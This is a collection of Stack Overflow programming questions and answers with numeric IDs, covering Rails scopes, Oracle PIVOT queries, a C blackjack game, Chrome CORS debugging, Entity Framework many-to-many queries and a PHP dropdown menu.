but I didn't find anyone in my current situation, and it seems that the Scroll Path plugin isn't maintained anymore.</p> <p>Any idea for making it work would be appreciated!</p> <p>PS: Sorry for the grammar mistakes, I'm still in process of learning english.</p>
8981820	0	 clueTip is a jQuery plugin for displaying stylized tooltips
36665346	0	 <p>Two notes: such more complex query conditions cannot be written using symbols, you have to use string notation instead. And, secondly, a scope does not need to have a parameter, your <code>latest</code> scope is one of them, as you simply compare the <em>database</em> <code>created_at</code> time with the current time shifted by 5 days. So, the correct scope should be something like:</p> <pre><code>scope :latest, -&gt; { where("created_at &gt;= ?", Time.now - 5.days) } </code></pre> <p>and you call it simply:</p> <pre><code>@workers = Worker.company_id(@company.id).latest </code></pre>
8923120	0	 <p><a href="https://github.com/codegram/rack-webconsole" rel="nofollow">https://github.com/codegram/rack-webconsole</a></p> <p>Or you could simply pass the Ruby code to the server via post and call <a href="http://www.ruby-doc.org/core-1.9.2/Kernel.html#method-i-eval" rel="nofollow">eval</a> <code>eval(CODE)</code>.</p> <p>You should note that especially the second way is very insecure since it gives the executing code complete access to your system.</p> <p>If this really has to be done "<a href="http://ruby-doc.org/docs/ProgrammingRuby/taint.html" rel="nofollow">Locking Ruby in the Safe</a>" could help secure it.</p> <p>EDIT:</p> <p>For syntax highlighting take a look at <a href="http://codemirror.net/" rel="nofollow">Code Mirror</a> and <a href="http://ace.ajax.org/" rel="nofollow">ACE</a>. Both are decent source code editors with ruby support.</p>
21677171	0	 <p>If you're using 11g or later version of Oracle, the easiest way to transpose rows into columns is PIVOT operator (<a href="http://www.oracle-base.com/articles/11g/pivot-and-unpivot-operators-11gr1.php" rel="nofollow">documentation</a>). For example, consider this query - it'll give you the table of all roles and privileges with corresponding values for them:</p> <pre><code>SELECT * FROM (SELECT fj.role_name, fj.priv_name, DECODE(rp.val,1,'YES',0,'NO','-') VAL FROM (SELECT r.id role_id, r.name role_name, p.id priv_id, p.name priv_name FROM ROLE r, PRIVILEGE p) fj LEFT JOIN ROLE_PRIV rp ON fj.role_id = rp.role_id AND fj.priv_id = rp.priv_id) PIVOT (MAX(VAL) FOR PRIV_NAME IN (list_of_privileges)) ORDER BY ROLE_NAME </code></pre> <p>But there is a catch with such solution: you need to name each privilige in IN clause (or use XML keyword, but it'll mess up the result), but, considering that list of priviliges supposed to change not so frequently, it shouldn't be a problem. The following example:</p> <pre><code>WITH ROLE AS (SELECT 1 ID, 'ROLE1' NAME FROM DUAL UNION SELECT 2 ID, 'ROLE2' NAME FROM DUAL UNION SELECT 3 ID, 'ROLE3' NAME FROM DUAL), PRIVILEGE AS (SELECT 1 ID, 'READ' NAME FROM DUAL UNION SELECT 2 ID, 'WRITE' NAME FROM DUAL UNION SELECT 3 ID, 'EXECUTE' NAME FROM DUAL), ROLE_PRIV AS (SELECT 1 ROLE_ID, 1 PRIV_ID, 1 VAL FROM DUAL UNION SELECT 1 ROLE_ID, 2 PRIV_ID, 0 VAL FROM DUAL UNION SELECT 2 ROLE_ID, 1 PRIV_ID, 1 VAL FROM DUAL UNION SELECT 2 ROLE_ID, 2 PRIV_ID, 0 VAL FROM DUAL UNION SELECT 3 ROLE_ID, 1 PRIV_ID, 0 VAL FROM DUAL UNION SELECT 3 ROLE_ID, 3 PRIV_ID, 1 VAL FROM DUAL) SELECT * FROM (SELECT fj.role_name, fj.priv_name, DECODE(rp.val,1,'YES',0,'NO','-') VAL FROM (SELECT r.id role_id, r.name role_name, p.id priv_id, p.name priv_name FROM ROLE r, PRIVILEGE p) fj LEFT JOIN ROLE_PRIV rp ON fj.role_id = rp.role_id AND fj.priv_id = rp.priv_id) PIVOT (MAX(VAL) FOR PRIV_NAME IN ('READ','WRITE','EXECUTE')) ORDER BY ROLE_NAME </code></pre> <p>Will give you the following result:</p> <pre><code>ROLE_NAME 'READ' 'WRITE' 'EXECUTE' ROLE1 YES NO - ROLE2 YES NO - ROLE3 NO - YES </code></pre> <p>If you're using the earlier version of Oracle, you can consider alternative solutions (<a href="http://asktom.oracle.com/pls/apex/f?p=100:11:0%3a%3a%3a%3aP11_QUESTION_ID:31263576751669#76663048528720" rel="nofollow">like this one</a>).</p> <hr> <p>Well, if you can't use PIVOT operation, the simplest way to get the desired output would be this query:</p> <pre><code>SELECT p.name, DECODE((SELECT VAL FROM ROLE_PRIV rp WHERE rp.role_id = (SELECT ID FROM ROLE r WHERE r.name = :ROLE_NAME) AND rp.priv_id = p.id), 1, 'YES', 0, 'NO', '-') :ROLE_NAME FROM PRIVILEGE p </code></pre> <p>You can add addtional roles to this query by just adding another column. For example, take a look at this query:</p> <pre><code>WITH ROLE AS (SELECT 1 ID, 'ROLE1' NAME FROM DUAL UNION SELECT 2 ID, 'ROLE2' NAME FROM DUAL UNION SELECT 3 ID, 'ROLE3' NAME FROM DUAL), PRIVILEGE AS (SELECT 1 ID, 'READ' NAME FROM DUAL UNION SELECT 2 ID, 'WRITE' NAME FROM DUAL UNION SELECT 3 ID, 'EXECUTE' NAME FROM DUAL), ROLE_PRIV AS (SELECT 1 ROLE_ID, 1 PRIV_ID, 1 VAL FROM DUAL UNION SELECT 1 ROLE_ID, 2 PRIV_ID, 0 VAL FROM DUAL UNION SELECT 2 ROLE_ID, 1 PRIV_ID, 1 VAL FROM DUAL UNION SELECT 2 ROLE_ID, 2 PRIV_ID, 1 VAL FROM DUAL UNION SELECT 3 ROLE_ID, 1 PRIV_ID, 0 VAL FROM DUAL UNION SELECT 3 ROLE_ID, 3 PRIV_ID, 1 VAL FROM DUAL) SELECT p.name, DECODE((SELECT VAL FROM ROLE_PRIV rp WHERE rp.role_id = (SELECT ID FROM ROLE r WHERE r.name = 'ROLE1') AND rp.priv_id = p.id), 1, 'YES', 0, 'NO', '-') ROLE1, DECODE((SELECT VAL FROM ROLE_PRIV rp WHERE rp.role_id = (SELECT ID FROM ROLE r WHERE r.name = 'ROLE2') AND rp.priv_id = p.id), 1, 'YES', 0, 'NO', '-') ROLE2, DECODE((SELECT VAL FROM ROLE_PRIV rp WHERE rp.role_id = (SELECT ID FROM ROLE r WHERE r.name = 'ROLE3') AND rp.priv_id = p.id), 1, 'YES', 0, 'NO', '-') ROLE3 FROM PRIVILEGE p </code></pre> <p>It will provide you result for three roles.</p> <hr> <p>Something like this should work:</p> <pre><code>SELECT p.name, DECODE((SELECT COUNT(1) FROM ROLE_PRIV rp WHERE rp.role_id = (SELECT ID FROM ROLE r WHERE r.name = 'ROLE1') AND rp.priv_id = p.id), 0, 'NO', 'YES') ROLE1 FROM PRIVILEGE p </code></pre>
34641471	0	How can I assign int values to const char array in my blackjack game, C <p>I'm working on a blackjack game in C. I have three functions, one to fill the deck, one for shuffling the cards and one for dealing the cards. My problem is that I don't know how to give my cards an integer value, I need that to see who wins. I would be very grateful for some input on how to solve this.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include "func.h" /*fill deck with 52 cards*/ void fillDeck(Card * const Deck, const char *suit[], const char *deck[]){ int s; for (s = 0; s &lt; 52; s++){ Deck[s].suits = deck[s % 13]; Deck[s].decks = suit[s / 13]; } return; } #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include "func.h" /*shuffle cards*/ void shuffle(Card * const Deck){ int i, j; Card temp; for (i = 0; i &lt; 52; i++){ j = rand() % 52; temp = Deck[i]; Deck[i] = Deck[j]; Deck[j] = temp; } return; } #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;time.h&gt; #include "func.h" /*deal cards*/ void deal(const Card * const Deck, int size, int size_1, int size_2){ int i, j, length; char anotherCard[2]; char name1[30]; char name2[30]; printf("Name player one &gt; "); scanf("%s", name1); printf("Name player two &gt; "); scanf("%s", name2); printf("\nWelcome %s and %s, lets begin!\n\n", name1, name2); getchar(); printf("%s's card:\n", name1); for (i = 0; i &lt; size; i++){ printf("%5s of %-8s%c", Deck[i].decks, Deck[i].suits, (i + 1) % 2 ? '\t' : '\n'); } printf("\n%s's card:\n", name2); for (i = 2; i &lt; size_1; i++){ printf("%5s of %-8s%c", Deck[i].decks, Deck[i].suits, (i + 1) % 2 ? '\t' : '\n'); } printf("\nDealer card:\n"); for (i = 4; i &lt; size_2; i++){ printf("%5s of %-8s%c", Deck[i].decks, Deck[i].suits, (i + 1) % 2 ? '\t' : '\n'); } return; } #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;time.h&gt; #include "func.h" int main(void){ Card allCards[52]; const char *suits[] = { "spades", "hearts", "diamonds", "clubs" }; char *decks[] = { "ace", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten", "jack", "queen", "king" }; int *values[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10 }; srand(time(NULL)); fillDeck(allCards, suits, decks, values); shuffle(allCards); deal(allCards, 2, 4, 6); getchar(); return 0; } /*func.h*/ struct card{ const char *suits; const char *decks; }; typedef struct card Card; void fillDeck(Card * const Deck, char *suit[], char *deck[]); void shuffle(Card * const Deck); void deal(const Card * const Deck, int size, int size_1, int size_2); #endif </code></pre>
2869472	0	 <p>As long as you are inside the <code>EnumTest</code> class, you can access the <code>LEN</code> field by simply writing:</p> <pre><code>int len = RecordType1.LEN; </code></pre> <p>From the outside, it's still difficult.</p>
7842194	0	 <p><a href="http://pubs.opengroup.org/onlinepubs/007904975/functions/atoi.html" rel="nofollow"><code>atoi()</code></a> should do what you want to, although a more robust implementation would use <a href="http://pubs.opengroup.org/onlinepubs/007904975/functions/strtol.html" rel="nofollow"><code>strtol()</code></a>.</p>
482882	0	 <p>Another potential problem is where your databinding is happening - I don't see a DataSource in your code-in-front, so I guess you're databinding in the code-behind.</p> <p>If you are doing the databind on postback, and after the first onChange event has fired, it's quite likely that the databind event is reseting the checkbox's status, and so causing the event to fire again.</p>
1071106	0	Do web apps encrypt passwords during login when integrated security is enabled within IIS? <p>I have always enabled integrated security on my web apps inside IIS with the assumption that the passwords that are requested on the client end will always be transmitted securely (encrypted) to my authentication server (AD/LSA). Am I correct on my assumption? The reason I have always assumed this is 'coz I always think of them as being very similar to authenticating a windows client with an AD in which case the client &amp; server will either employ NTLM or Kerberos for authentication where the passwords are always encrypted.</p>
11741777	0	 <p>If you are using a BroadcastReceiver to receive incoming calls, you have to use <code>SipManager.getCallId(incomingCallIntent)</code> inside your 'onReceive()' method.</p>
16210560	0	 <p><a href="https://pypi.python.org/pypi/xlrd" rel="nofollow">xlrd</a> has support for .xlsx files, and this <a href="http://stackoverflow.com/a/9897909/1452002">answer</a> suggests that at least the beta version of xlrd with .xlsx support was quicker than openpyxl. </p> <p>The current stable version of Pandas (11.0) uses openpyxl for .xlsx files, but this has been changed for the next release. If you want to give it a go, you can download the dev version from <a href="https://github.com/pydata/pandas" rel="nofollow">GitHub</a></p>
37493136	0	I am currently developing a script in PERL it works but I would like to append the contents to the CSV file whenever the script is executed <pre><code>print "Enter number of days: "; my $var = &lt;STDIN&gt;; my $SQL = "COPY (SELECT * FROM Parent WHERE StartDate &lt; NOW() - INTERVAL '$var days') TO '/home/username/Desktop/new1.csv' WITH CSV"; my $sth = $dbh-&gt;prepare($SQL); my $rv1 = $dbh-&gt;do($SQL) or die $DBI::errstr; </code></pre>
24941367	0	 <blockquote> <p>however I'm trying to deduce whether or not there is something interfering with the response in between the client an server.</p> </blockquote> <p>So you want to take a look what headers etc were sent even though the server is not sending the required <em>Access-Control-Allow-Origin</em> header along with the response?</p> <p>With <em>Google Chrome</em>, you can turn off some security features by launching it with the flag <code>--disable-web-security</code>, opening the browser up like this this will let you debug what you're asking about, but <strong>it won't prevent that error message for other people</strong>, you'd still need to fix it</p> <p>With <strong><em>your browser</em></strong> in this mode, you'll now be able to see the requests without the error being thrown, so be able to inspect them as normal</p> <hr> <p>An example of how you might open the browser like this from the <em>cmd</em> on a <em>Windows 7 (x64)</em> machine</p> <pre class="lang-sh prettyprint-override"><code>start "" "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" "--disable-web-security" </code></pre> <p>For more, see <a href="http://stackoverflow.com/a/19317888/1615483"><strong>here</strong></a></p> <hr> <p><strong>Don't run <em>Chrome</em> like this for normal web browsing</strong></p>
33332700	0	 <p>If you look at Pascal's triangle as a matrix, and you want to find the complexity of building that matrix up to size <code>n x k</code>, then the big-oh of that will be <code>O(n*k)</code>. Obviously you can't get better than that, because that's the size of the matrix.</p> <p>How do we get that? Use the following simplified recurrence for combinations:</p> <pre><code>C(n, k) = C(n - 1, k) + C(n - 1, k - 1) </code></pre> <p>Computing just a single combination has the same complexity (if using memoization).</p>
1636474	0	How to use shared array between function calls in objective C <p>I have one array. I want that array to retain its value between function calls of from single class function.</p> <p>I have function that is called every time page is loaded. </p> <p>This function displays all the data stored in array right from application launches.</p> <p>Thanks in advance.</p>
38510941	0	 <p>You can loop through your array elements and add <code>&lt;tr&gt;</code> to them for each row.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var arr = ["&lt;td&gt;200&lt;/td&gt;&lt;td&gt;I3&lt;/td&gt;&lt;td&gt;NAME NAME 1&lt;/td&gt;&lt;td&gt;EXTRA 1&lt;/td&gt;", "&lt;td&gt;100&lt;/td&gt;&lt;td&gt;I2&lt;/td&gt;&lt;td&gt;NAME NAME 2&lt;/td&gt;&lt;td&gt;EXTRA 2&lt;/td&gt;"]; var str = ""; var table = document.getElementById("myTable"); for(var i = 0; i &lt; arr.length; i++) str += "&lt;tr&gt;"+arr[i]+"&lt;/tr&gt;"; table.innerHTML = str;</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;table id="myTable"&gt;&lt;/table&gt;</code></pre> </div> </div> </p>
38721983	0	 <p>Assuming you want the 10 most recent eve_Dates for each customer.</p> <p><strong>untested</strong> I'm thinking the correlated subquery will generate a result set for each customer, but I'm not positive about that.</p> <p>I don't think you were limiting to the 10 records because you had no join on date.</p> <pre><code>select t1.EVE_DATE, t1.CUSTID, SUM(t1.ATTENDENCE) as PRESENCE, TRUNCATE((AVG(t1.LECTURE_DUR))/(1000),2) as LECTURE_DUR from MY_TABLE t1 left join ( select CUSTID, eve_date from MY_TABLE t2 where t1.EVE_DATE = t2.EVE_DATE order by t2.CUSTID, t2.eve_Date desc limit 10 ) t3 on t1.CUSTID = t3.CUSTID t1.Eve_Date = T3.Eve_Date where t1.SUBJECT= 'PHYSICS' and t1.EVE_DATE &gt;= '2015-01-01' and t1.EVE_DATE &lt;= '2016-01-01' and t1.CUSTID &lt;&gt; '' group by t1.EVE_DATE, t1.CUSTID order by t1.EVE_DATE </code></pre>
38014372	0	 <p>Try This code </p> <pre><code> #include &lt;stdio.h&gt; int main() { int i, repeatName; // ints char firstName[50]; // array to store users name // get first name from user printf("Please enter your first name: "); scanf("%s", firstName); // get amount of times user would like to repeat name printf("How many times would you like to repeat your name?: "); scanf("%i", &amp;repeatName); // tell user name has to be repeated at last one if (repeatName &lt; 1) { printf("The name has to be repeated at least one (1) time. Try again: "); scanf("%i", &amp;repeatName); } // for loop to repeat name 'x' number of times for (i = 1; i &lt;= repeatName; i++) { printf("Line %d Your name %s \n",i,firstName); } } </code></pre>
10420354	0	 <p>You're confused about what first and second mean. In this expression:</p> <pre><code>"([^$]*(\\$[A-Za-z][A-Za-z0-9_]*))+" ^_______________________________^ this part </code></pre> <p>is the first parenthesizes subexpression and </p> <pre><code>"([^$]*(\\$[A-Za-z][A-Za-z0-9_]*))+" ^________________________^ this part </code></pre> <p>is the second. If a parenthesized subexpression gets used more than once as part of a <code>*</code>, <code>?</code>, <code>+</code>, or <code>{}</code> repetition operator, it's the last match that counts.</p> <p>If you want to match an arbitrary number of instances, than rather than using the <code>+</code> on the end of your regex, you simply need to call <code>regexec</code> multiple times, and use the ending offset of the previous run as your new starting point.</p>
22090033	0	Link on my website to facebook message a page <p>I would like to embed a link that will open site visitor's browser with their facebook account in "New Message" writing mode with the "to:" field already pointing to my Facebook page.</p> <p>Is there a way to do this?</p> <p>It's a wordpress site, so if there is already a plugin that can do this I'd be happy to know which (without asking the visitor for permissions to a facebook app).</p> <p>Thanks!</p>
39505018	0	 <p>Its not an error, It is a warning.</p> <p>It means that you have called the method <code>calculateTip()</code> which return Bool value. But you have not used this result anywhere.</p> <p>To suppress this warning just to this:</p> <pre><code>print(calculateTip()) </code></pre> <p>Now you are printing the output of the method, means the output is used now!</p>
3609408	0	 <p>Why would you want to create a Collection but then specify that it should be empty?</p> <p>You can just instantiate the PriorityQueue with <code>Math.max(1, data.size())</code></p>
8632267	0	accessing data of a GridView on button click <p>I am having a gridview with some columns and a template field column that contains a button and I want to call a procedure on button click, however I want to pass a value of a column to the procedure but I am getting an error, here is the action listener of the button: (column name in the gridview is team_ID) error: Databinding methods such as Eval(), XPath(), and Bind() can only be used in the context of a databound control. error line: int team_ID = Convert.ToInt32(Eval("team_ID"));</p> <pre><code>protected void Button1_Click(object sender, EventArgs e) { string connStr = ConfigurationManager.ConnectionStrings["MyDbConn"].ToString(); SqlConnection conn = new SqlConnection(connStr); SqlCommand cmd = new SqlCommand("join_team", conn); cmd.CommandType = CommandType.StoredProcedure; int team_ID = Convert.ToInt32(Eval("team_ID")); string email = Session["email"].ToString(); cmd.Parameters.Add(new SqlParameter("@team_ID", team_ID)); cmd.Parameters.Add(new SqlParameter("@myemail", email)); conn.Open(); cmd.ExecuteNonQuery(); conn.Close(); } </code></pre>
16549700	0	 <p>Just add the <code>focus()</code> trigger after the value is set, like so:</p> <pre><code>$('#social-url').val("http://www.twitter.com/").focus(); </code></pre> <p>Here's how I'd do it:</p> <pre><code>$(document).ready(function() { $('select').on('change', function() { $('#social-url').val("http://www." + this.value.toLowerCase() + ".com/") .focus(); }); }); </code></pre> <p><a href="http://jsfiddle.net/dgUrj/4/"><strong>FIDDLE</strong></a></p>
15835080	0	Chrome Extension - Run content script only when button is clicked <p>I've had a good look, but I can't seem to find and answer to this question (well, one that works for me anyway).</p> <p>I've made a Chrome extension that should run the code that's in my content script on click of the icon only, but it always runs as soon as the page loads. Is there a way to prevent this from happening? None of the possible strings I can enter for run_at really cater for this.</p> <p>Here is example code in both scripts:</p> <p>Content Script:</p> <pre><code>function runIt() { console.log('working'); } runIt(); </code></pre> <p>background.js:</p> <pre><code>chrome.browserAction.onClicked.addListener(function(activeTab) { chrome.tabs.executeScript(null, {file: "content.js"}); }); </code></pre> <p>It will log 'working' as soon as the page loads, and for each button click after that. Is there a way to stop it running as soon as the page loads?</p> <p>Thanks in advance for all contributions.</p>
6423121	0	 <p>simply you can do this --</p> <p>there are so many option or answer available for this. one of these is as follow--</p> <pre><code>select case when b.c_1 = 1 then b.col1 else null end col1, b.col2 col2, b.col3 col3 from ( select distinct col1,col2,col3, rownum() over(partition by col1) c_1 from table_name )b </code></pre> <p>now assume / modify above query - </p> <p>table_name is the table name col1 , col2 and col3 is your table's column name.</p> <p>just modify this query as per your table name and structure and see..</p> <p>it would be your required solution.</p>
17751637	0	Dynamic Dropdown menu - PHP <p>First of all, I am new to mysqli and prepare statements so please let me know if you see any error. I have this static drop down menu : <img src="https://i.stack.imgur.com/BJwtZ.png" alt="enter image description here"></p> <p>HTML code:</p> <pre><code>&lt;ul class="menu sgray fade" id="menu"&gt; &lt;li&gt;&lt;a href="#"&gt;Bike&lt;/a&gt; &lt;!-- start mega menu --&gt; &lt;div class="cols3"&gt; &lt;div class="col1"&gt; &lt;ol&gt; &lt;li&gt;&lt;a href="#"&gt;bikes&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;wheels&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;helmets&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;components&lt;/a&gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;div class="col1"&gt; &lt;ol&gt; &lt;li&gt;&lt;a href="#"&gt;pedals&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;GPS&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;pumps&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;bike storage&lt;/a&gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;div class="col1"&gt; &lt;ol&gt; &lt;li&gt;&lt;a href="#"&gt;power meters&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;hydratation system&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;shoes&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;saddles&lt;/a&gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- end mega menu --&gt; &lt;/li&gt; </code></pre> <p></p> <p>I want to make a dynamic dropdown menu. I managed to show the <code>$categoryName</code> and the <code>$SubCategoryName</code> with this function:</p> <pre><code>function showMenuCategory(){ $db = db_connect(); $query = "SELECT * FROM Category"; $stmt = $db-&gt;prepare($query); $stmt-&gt;execute(); $stmt-&gt;bind_result($id,$categoryName,$description,$pic,$active); while($stmt-&gt;fetch()) { echo'&lt;li&gt;&lt;a href="#"&gt;'.$categoryName.'&lt;/a&gt; &lt;!-- start mega menu --&gt; &lt;div class="cols3"&gt; &lt;div class="col1"&gt; &lt;ol&gt;'; $dba = db_connect(); $Subquery = "SELECT * FROM Subcategory WHERE CategoryId = '".$id."'"; $Substmt = $dba-&gt;prepare($Subquery); $Substmt-&gt;execute(); $Substmt-&gt;bind_result($Subid,$CatId,$SubCategoryName,$SubDescription); while($Substmt-&gt;fetch()) { echo' &lt;li&gt;&lt;a href="#"&gt;'.$SubCategoryName.'&lt;/a&gt;&lt;/li&gt;'; } echo' &lt;/ol&gt; &lt;/div&gt; &lt;!-- end mega menu --&gt; &lt;/li&gt;'; } } </code></pre> <p>The only problem is that it returns all the subcategories on the the same <code>&lt;div class="col1"&gt;</code>:</p> <p><img src="https://i.stack.imgur.com/9ChgN.png" alt="enter image description here"></p> <p>what I would like to obtain is count the subcategories and if the result is more than 4 return the other items in the second and third column. </p> <p>UPDATE***: thanks to the answer below now the menu looks like this:</p> <p><img src="https://i.stack.imgur.com/mqKp4.png" alt="enter image description here"></p> <p>thanks!</p>
1398344	0	 <p>Aside from changing your entity name, your options are really limited to name-aliasing and/or fully-qualifying the two colliding names, as you are already doing.</p> <p>My personal preference would be fully-qualifying both type names throughout the source. Your current approach is a mix of both aliasing and qualifying. You can also alternatively alias both types to something like:</p> <pre><code>using EntityImage = myCMS.Entities.Image; using DrawingImage = System.Drawing.Image; </code></pre>
23097162	0	 <p>As suggested in the comments, the Array <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter" rel="nofollow">filter</a> method should give you what you want. Here's a start:</p> <pre><code>var filteredFilms = films.filter(function(film) { return parseInt(film.duration) &gt; 150 &amp;&amp; film.genre === 'Crime'; }); </code></pre>
1725514	0	Help me remove a Singleton: looking for an alternative <p>Background: I have some classes implementing a subject/observer design pattern that I've made thread-safe. A <code>subject</code> will notify it's <code>observers</code> by a simple method call <code>observer-&gt;Notified( this )</code> if the <code>observer</code> was constructed in the same thread as the notification is being made. But if the <code>observer</code> was constructed in a different thread, then the notification will be posted onto a <code>queue</code> to be processed later by the thread that constructed the <code>observer</code> and then the simple method call can be made when the notification event is processed.</p> <p>So… I have a map associating threads and queues which gets updated when threads and queues are constructed and destroyed. This map itself uses a mutex to protect multi-threaded access to it. </p> <p>The map is a singleton. </p> <p>I've been guilty of using singletons in the past because "there will be only one in this application", and believe me - I have paid my penance!</p> <p>One part of me can't help thinking that there really will be only one queue/thread map in an application. The other voice says that singletons are not good and you should avoid them. </p> <p>I like the idea of removing the singleton and being able to stub it for my unit tests. Trouble is, I'm having a hard time trying to think of a good alternative solution.</p> <p>The "usual" solution which has worked in the past is to pass in a pointer to the object to use instead of referencing the singleton. I think that would be tricky in this case, since observers and subjects are 10-a-penny in my application and it would very awkward to have to pass a queue/thread map object into the constructor of every single observer.</p> <p>What I appreciate is that I may well have only one map in my application, but it shouldn't be in the bowels of the subject and observer class code where that decision is made.</p> <p>Maybe this is a valid singleton, but I'd also appreciate any ideas on how I could remove it.</p> <p>Thanks.</p> <p>PS. I have read <a href="http://stackoverflow.com/questions/1300655/whats-alternative-to-singleton">What&#39;s Alternative to Singleton</a> and <a href="http://googletesting.blogspot.com/2008/08/where-have-all-singletons-gone.html" rel="nofollow noreferrer">this article</a> mentioned in the accepted answer. I can't help thinking that the ApplicationFactory it just yet another singleton by another name. I really don't see the advantage.</p>
32433237	0	 <p>If you have associative array than You can use php built in function <code>extract()</code>. </p> <p>Example:</p> <pre><code>$abc = array('var1'=&gt;2, 'var2'=&gt;4, 'var3'=&gt;6); extract($abc); echo $var1.$var2.$var3; //Outputs 246 </code></pre>
36406419	0	 <p>u can use isEnabled() to verify whether it is enabled or disable.it returns boolean .if it returns true the element is enabled if it returns false the element is disabled.</p>
40701314	0	 <p>You called a method that basically calls another method of the same signature </p> <pre><code>@Override public String userSignIn(String email, String password, String authType) throws Exception { login(email, password, authType, new OnLoginResponseCallback() { @Override </code></pre> <p>Instead, wherever you would call <code>userSignIn</code>, you call <code>login</code>, and pass in that anonymous class. You can't return from these inner methods, because that isn't how callbacks work. You use the parameters of the interface methods to "continue" your logic. Like, do login, callback to the main function with some user info, use this info to make a new request, have a callback waiting for that data, that passes back data to some other method. It's all <code>void</code> methods calling other methods. No <code>return</code> statements </p> <p>Although, in Javascript, you can read this </p> <p><a href="http://stackoverflow.com/questions/6847697/how-to-return-value-from-an-asynchronous-callback-function">How to return value from an asynchronous callback function?</a></p>
33371936	0	 <p>No, a static method cannot call a non-static method.</p> <p>Consider that you have objects <code>a</code> and <code>b</code>, both instances of <code>Currency</code>. <code>currencyValidator</code> exists on those two objects. Now <code>store()</code> belongs to the class <code>Currency</code> itself, not one of those objects. So, in <code>Currency.store()</code>, how does it know which object to call <code>currencyValidator()</code> on? The simple answer is it doesn't so it can't. This is one of the pitfalls of using static methods and one of the reasons people often urge against them.</p> <p>Regardless, you can get around this by passing <code>a</code> into <code>Currency.store()</code>, and calling <code>a.currencyValidator()</code> instead.</p>
1195551	0	 <p>I understand your concern. Even for trusted sources, PHP provides more access than is necessary to the whole environment of the web request. Even if the scripters are trusted and even if they can only harm themselves with a scripting error, a more constrained scripting environment would be easier for them to use and easier for you to support.</p> <p>You want something that can be sandboxed off, that can only access resources you explicitly assign to its scope, and that executes in a "play within a play" runtime environment rather than in PHP's own.</p> <p>One approach is to use a web templating language for user-submitted scripts. These provide a certain amount of control (variable assignment for example), and close off other options, for example you can't write an infinite loop. I've used Velocity for this purpose in Java applications; I think something like Smarty might work in PHP, but I don't have direct experience of using it for that purpose. </p> <p>Another approach, if what the scripts are required to do is constrained by the domain, is to implement a Domain Specific Language (DSL). I mentioned that in <a href="http://stackoverflow.com/questions/1171485/interpret-text-input-as-php/1172023#1172023">this answer</a>.</p> <p>Apart from that, I don't know of any pure-PHP implementations of scripting languages. It's something I'd be interested in myself.</p>
364590	0	 <p>Of additional interest is probably how good of a fit the line is. For that, use the Pearson correlation, here in a PHP function:</p> <pre><code>/** * returns the pearson correlation coefficient (least squares best fit line) * * @param array $x array of all x vals * @param array $y array of all y vals */ function pearson(array $x, array $y) { // number of values $n = count($x); $keys = array_keys(array_intersect_key($x, $y)); // get all needed values as we step through the common keys $x_sum = 0; $y_sum = 0; $x_sum_sq = 0; $y_sum_sq = 0; $prod_sum = 0; foreach($keys as $k) { $x_sum += $x[$k]; $y_sum += $y[$k]; $x_sum_sq += pow($x[$k], 2); $y_sum_sq += pow($y[$k], 2); $prod_sum += $x[$k] * $y[$k]; } $numerator = $prod_sum - ($x_sum * $y_sum / $n); $denominator = sqrt( ($x_sum_sq - pow($x_sum, 2) / $n) * ($y_sum_sq - pow($y_sum, 2) / $n) ); return $denominator == 0 ? 0 : $numerator / $denominator; } </code></pre>
10004738	0	Entity Framework: Get Model with Linked Models in Many to Many Relationship <p>I'm coming from TSQL + C# land and have been trying to adapt to linq and EF. Many-to-many relationships have been tripping me up. I have models with many-to-many relationships that I want to query from a database. Such as:</p> <pre><code> class Product{ public int ID {get;set;} public string ProductName {get;set;} public virtual ICollection&lt;Tag&gt; Tags {get;set;} } class Tag { public int ID {get;set;} public string TagName {get;set;} public virtual ICollection&lt;Product&gt; Products {get;set;} } </code></pre> <p>I'm able to get a product itself out of the DbContext, and then later fetch it's associated Tags like this:</p> <pre><code>// product exists in memory as a Product with an empty product.Tags var query = from p in db.Product from t in db.Tags where p.ID == product.ID select p.Tags; </code></pre> <p>Then I can assign the product.Tags with the fetched Tags. Obviously, this is very inefficient when dealing with multiple products if I have to query for every product.</p> <p>With linq and EF, I want to be able to get a Product with all of its associated Tags in one round trip to the database. Also, I want to be able to get all Products and their associated Tags (or a filtered list of Products). How do would the linq look?</p> <p>Edit:</p> <p>Ok, after some more fiddling around, I've got this:</p> <pre><code>var query = db.Product.Include("Tags") .Where(p =&gt; p.Tags.Any(t =&gt; t.Products.Select(m =&gt; m.ID).Contains(p.ID))); </code></pre> <p>This is almost what I need. The results are all products with tags. Missing are the products that don't have tags. I think of this as the equivalent of a SQL inner join. I want to left outer join the tags to the product, and return all products with tags optional. How to get all products with their associated tags without excluding products that have no tags?</p> <p>Edit:</p> <p>This was easier than I thought.</p> <pre><code>var query2 = db.Product.Include("Tags").DefaultIfEmpty(); </code></pre> <p>This gets all the products and their respective tags, including products without tags. Hopefully it works for the right reasons...</p>
